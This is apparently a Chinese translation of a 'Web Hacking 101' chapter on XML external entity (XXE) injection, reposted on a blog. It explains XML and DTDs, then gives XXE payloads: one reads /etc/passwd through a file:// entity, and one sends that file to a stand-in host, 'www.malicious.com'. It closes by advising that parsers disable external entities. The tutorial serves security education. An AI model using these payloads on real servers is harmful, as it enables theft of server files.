Web Hacking 101 中文版 十四、XML 外部實(shí)體注入(一)

十四、XML 外部實(shí)體注入

作者:Peter Yaworski

譯者:飛龍

協(xié)議:CC BY-NC-SA 4.0

XML 外部實(shí)體(XXE)漏洞涉及利用應(yīng)用解析 XML 輸入的方式,更具體來(lái)說(shuō),應(yīng)用程序處理輸入中外部實(shí)體的包含方式。為了完全理解理解如何利用,以及他的潛力。我覺(jué)得我們最好首先理解什么是 XML 和外部實(shí)體。

元語(yǔ)言是用于描述其它語(yǔ)言的語(yǔ)言,這就是 XML。它在 HTML 之后開發(fā),來(lái)彌補(bǔ) HTML 的不足。HTML 用于定義數(shù)據(jù)的展示,專注于它應(yīng)該是什么樣子。房子,XML 用于定義數(shù)據(jù)如何被組織。

例如,HTML 中,你的標(biāo)簽為<title>, <h1>, <table>, <p>,以及其它。這些東西都用于定義內(nèi)容如何展示。<title>用于定義頁(yè)面的標(biāo)題,<h1>標(biāo)簽定義了標(biāo)題,<table>標(biāo)簽按行和列展示數(shù)據(jù),并且<p>表示為簡(jiǎn)單文本。反之,XML 沒(méi)有預(yù)定義的標(biāo)簽。創(chuàng)建 XML 文檔的人可以定義它們自己的標(biāo)簽,來(lái)描述展示的內(nèi)容。這里是一個(gè)示例。

<?xml version="1.0" encoding="UTF-8"?> 
<jobs> 
    <job> 
        <title>Hacker</title> 
        <compensation>1000000</compensation> 
        <responsibility optional="1">Shot the web</responsibility> 
    </job> 
</jobs>

讀完了之后,你可以大致猜測(cè)出 XML 文檔的目的 -- 為了展示職位列表,但是如果它在 Web 頁(yè)面上展示,你不知道它看起來(lái)是什么樣。XML 的第一行是一個(gè)聲明頭部,表示 XML 的版本,以及編碼類型。在編寫此文的時(shí)候,XML 有兩個(gè)版本,1.0 和 1.1。它們的具體區(qū)別超出了本書范圍,因?yàn)樗鼈冊(cè)谀銤B透的時(shí)候沒(méi)什么影響。

在初始的頭部之后,標(biāo)簽<jobs>位于所有其它<job>標(biāo)簽的外面。<job>又包含<title>、<compensation><responsibilities>標(biāo)簽。現(xiàn)在如果是 HTML,一些標(biāo)簽并不需要(但最好有)閉合標(biāo)簽(例如<br>),但是所有 XML 標(biāo)簽都需要閉合標(biāo)簽。同樣,選取上面的例子,<jobs>是個(gè)起始標(biāo)簽,</jobs>是對(duì)應(yīng)的閉合標(biāo)簽。此外,每個(gè)標(biāo)簽都有名稱,并且可以擁有屬性。使用標(biāo)簽<job>,標(biāo)簽名稱就是job,但是沒(méi)有屬性。另一方面,<responsibility>擁有名稱responsibility,并擁有屬性optional,由屬性名稱optional和值1組成。

由于任何人可以定義任何標(biāo)簽,問(wèn)題就來(lái)了,如果標(biāo)簽可以是任何東西,任何一個(gè)人如何知道如何解析和使用 XML 文檔?好吧,一個(gè)有效的 XML 文檔之所以有效,是因?yàn)樗裱?XML 的通用規(guī)則(我不需要列出它們,但是擁有閉合標(biāo)簽是一個(gè)前面提過(guò)的例子),并且它匹配了它的文檔類型定義(DTD)。DTD 是我們繼續(xù)深入的全部原因,因?yàn)樗窃试S我們作為黑客利用它的一個(gè)東西。

XML DTD 就像是所使用的標(biāo)簽的定義文檔,并且由 XML 設(shè)計(jì)者或作者開發(fā)。使用上面的例子,我就是設(shè)計(jì)者,因?yàn)槲以?XML 中定義了職位文檔。DTD 定義了存在什么標(biāo)簽,它們擁有什么屬性,以及其它元素里面有什么元素,以及其他。當(dāng)你或者我創(chuàng)建自己的 DTD 時(shí),一些已經(jīng)格式化了,并且廣泛用于 RSS、RDF、HL7 SGML/XML。以及其它。

下面是 DTD 文件的樣子,它用于我的 XML。

<!ELEMENT Jobs (Job)*> 
<!ELEMENT Job (Title, Compensation, Responsiblity)> 
<!ELEMENT Title (#PCDATA)> 
<!ELEMENT Compenstaion (#PCDATA)> 
<!ELEMENT Responsibility(#PCDATA)> 
<!ATTLIST Responsibility optional CDATA "0">

看一看這個(gè),你可能猜到了它大部分是啥意思。我們的jobs標(biāo)簽實(shí)際上是 XML !ELEMENT,并且可以包含job元素。job是個(gè)!ELEMENT,可以包含標(biāo)題、薪資和職責(zé),這些也都是!ELEMENT,并且只能包含字符數(shù)據(jù)(#PCDATA)。最后,!ELEMENT responsibility擁有一個(gè)可選屬性(!ATTLIST),默認(rèn)值為 0。

并不是很難吧?除了 DTD,還有兩種還未討論的重要標(biāo)簽,!DOCTYPE!ENTITY。到現(xiàn)在為止,我只說(shuō)了 DTD 文件是我們 XML 的擴(kuò)展。要記住上面的第一個(gè)例子,XML 文檔并不包含標(biāo)簽定義,它由我們第二個(gè)例子的 DTD 來(lái)完成。但是,我們可以將 DTD 包含在 XML 文檔內(nèi),并且這樣做之后, XML 的第一行必須是<!DOCTYPE>元素。將我們的兩個(gè)例子組合起來(lái),我們就會(huì)得到這樣的文檔:

<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE Jobs [ 
<!ELEMENT Job (Title, Compensation, Responsiblity)> 
<!ELEMENT Title (#PCDATA)> <!ELEMENT Compenstaion (#PCDATA)> 
<!ELEMENT Responsibility(#PCDATA)> 
<!ATTLIST Responsibility optional CDATA "0"> 
]> 
<jobs> 
    <job> 
        <title>Hacker</title> 
        <compensation>1000000</compensation> 
        <responsibility optional="1">Shot the web</responsibility> 
    </job> 
</jobs>

這里,我們擁有了內(nèi)部 DTD 聲明。要注意我們?nèi)匀皇褂靡粋€(gè)聲明頭部開始,表示我們的文檔遵循 XML 1.0 和 UTF8 編碼。但是之后,我們?yōu)?XML 定義了要遵循的DOCTYPE。使用外部 DTD 是類似的,除了!DOCTYPE<!DOCTYPE note SYSTEM "jobs.dtd">。XML 解析器在解析 XML 文件時(shí),之后會(huì)解析jobs.dtd的內(nèi)容。這非常重要,因?yàn)?code>!ENTITY標(biāo)簽被近似處理,并且是我們利用的關(guān)鍵。

XML 實(shí)體像是一個(gè)信息的占位符。再次使用我們之前的例子。,如果我們想讓每個(gè)職位都包含到我們網(wǎng)站的鏈接,每次都編寫地址簡(jiǎn)直太麻煩了,尤其是 URL 可能改變的時(shí)候。反之,我們可以使用!ENTITY,并且讓解析器在解析時(shí)獲取內(nèi)容,并插入到文檔中。你可以看看我們?cè)谀睦镞@樣做。

與外部 DTD 文檔類似,我們可以更新我們的 XML 文檔來(lái)包含這個(gè)想法:

<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE Jobs [ 
<!ELEMENT Job (Title, Compensation, Responsiblity, Website)> 
<!ELEMENT Title (#PCDATA)> <!ELEMENT Compenstaion (#PCDATA)> 
<!ELEMENT Responsibility(#PCDATA)> 
<!ATTLIST Responsibility optional CDATA "0"> 
<!ELEMENT Website ANY> 
<!ENTITY url SYSTEM "website.txt"> 
]> 

<jobs>
    <job> 
        <title>Hacker</title> 
        <compensation>1000000</compensation> 
        <responsibility optional="1">Shot the web</responsibility> 
        <website>&url;</website> 
    </job> 
</jobs>

這里你會(huì)注意到,我繼續(xù)并添加了Website!ELEMENT,但是不是#PCDATA,而是ANY。這意味著Website可以包含任何可解析的數(shù)據(jù)組合。我也定義了一個(gè)!ENTITY,帶有SYSTEM屬性,告訴解析器獲取wensite.txt文件的數(shù)據(jù)?,F(xiàn)在一切都清楚了。

將它們放到一起,如果我包含了/etc/passwd,而不是website.txt,你覺(jué)得會(huì)發(fā)生什么?你可能戶菜刀,我們的 XML 會(huì)被解析,并且服務(wù)器敏感文件/etc/passwd的內(nèi)容會(huì)包含進(jìn)我們的內(nèi)容。但是我們是 XML 的作者,所以為什么要這么做呢?

好吧。當(dāng)受害者的應(yīng)用可以濫用,在 XML 的解析中包含這種外部實(shí)體時(shí),XXE 攻擊就發(fā)生了。換句話說(shuō),應(yīng)用有一些 XML 預(yù)期,但是在接收時(shí)卻不驗(yàn)證它。所以,只是解析他所得到的東西。例如,假設(shè)我正在運(yùn)行一個(gè)職位公告板,并允許你注冊(cè)并通過(guò) XML 上傳職位。開發(fā)我的應(yīng)用時(shí),我可能使我的 DTD 文件可以被你訪問(wèn),并且假設(shè)你提交了符合需求的文件。我沒(méi)有意識(shí)到它的危險(xiǎn),決定天真地解析收到的內(nèi)容,并沒(méi)有任何驗(yàn)證。但是作為一個(gè)黑客,你決定提交:

<?xml version="1.0" encoding="ISO-8859-1"?> 
<!DOCTYPE foo [ 
<!ELEMENT foo ANY > 
<!ENTITY xxe SYSTEM "file:///etc/passwd" > 
]> 
<foo>&xxe;</foo>

就像你現(xiàn)在了解的那樣,當(dāng)這個(gè)文件被解析時(shí),我的解析器會(huì)收到它,并且看到內(nèi)部 DTD 定義了foo文檔類型,告訴它foo可以包含任何可解析的數(shù)據(jù),并且有個(gè)!ENTITY xxe,它應(yīng)該讀取我的/etc/passwd文件(file://的用法表示/etc/passwd的完整的文件 URL 路徑),并會(huì)將&xxe;替換為這個(gè)文件的內(nèi)容。之后你以定義<foo>標(biāo)簽的有效 XML 結(jié)束了它,這會(huì)打印出我的服務(wù)器數(shù)據(jù)。這就是 XXE 危險(xiǎn)的原因。

但是等一下,還有更多的東西。如果應(yīng)用不打印出回應(yīng),而是僅僅解析你的內(nèi)容會(huì)怎么樣?使用上面的例子,內(nèi)容會(huì)解析但是永遠(yuǎn)不會(huì)反回給我們。好吧,如果我們不包含本地文件,而是打算和惡意服務(wù)器通信會(huì)怎么樣?像是這樣:

<?xml version="1.0" encoding="ISO-8859-1"?> 
<!DOCTYPE foo [ 
<!ELEMENT foo ANY > 
<!ENTITY % xxe SYSTEM "file:///etc/passwd" > 
<!ENTITY callhome SYSTEM "www.malicious.com/?%xxe;"> 
]> 
<foo>&callhome;</foo>

在解釋它之前,你可能已經(jīng)注意到我在callhome URL 中使用了%來(lái)代替&,%xxe。這是因?yàn)?code>%用于實(shí)體在 DTD 定義內(nèi)部被求值的情況,而&用于實(shí)體在 XML 文檔中被求值的情況?,F(xiàn)在,當(dāng) XML 文檔被解析,callhome !ENTITY會(huì)讀取/etc/passwd的內(nèi)容,并遠(yuǎn)程調(diào)用http://www.malicous.com,將文件內(nèi)容作為 URL 參數(shù)來(lái)發(fā)送,因?yàn)槲覀兛刂屏嗽摲?wù)器,我們可以檢查我們的日志,并且足夠確保擁有了/etc/passwd的內(nèi)容。Web 應(yīng)用的游戲就結(jié)束了。

所以,站點(diǎn)如何防范 XXE 漏洞?它們可以禁止解析任何外部實(shí)體。

鏈接

查看 OWASP 外部實(shí)體(XXE)解析

XXE 速查表

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容